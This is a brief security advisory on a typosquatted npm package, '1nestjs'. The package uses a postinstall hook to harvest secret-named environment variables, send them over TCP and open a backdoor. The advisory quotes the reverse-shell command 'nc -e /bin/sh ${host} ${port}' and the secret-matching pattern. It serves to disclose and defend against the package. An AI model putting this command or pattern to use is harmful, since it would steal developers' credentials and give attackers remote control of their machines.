Advisory PublishedCVSS 9.6/10
This is a credential-stealing reverse shell implant delivered via npm install: `package.json` runs `node index.js` in postinstall, and `index.js` immediately collects `process.env` keys matching `SECRET|API|TOKEN|KEY` before sending them out over a TCP connection. The code then executes `nc -e /bin/sh ${host} ${port}`, which is a classic remote shell backdoor pattern, and the hardcoded/heuristic target includes the suspicious IP IOC. The attacker model is clear: a typosquatted package (`1nestjs`) published by a brand-new burner account is trying to harvest secrets and establish interactive remote access on victim machines.
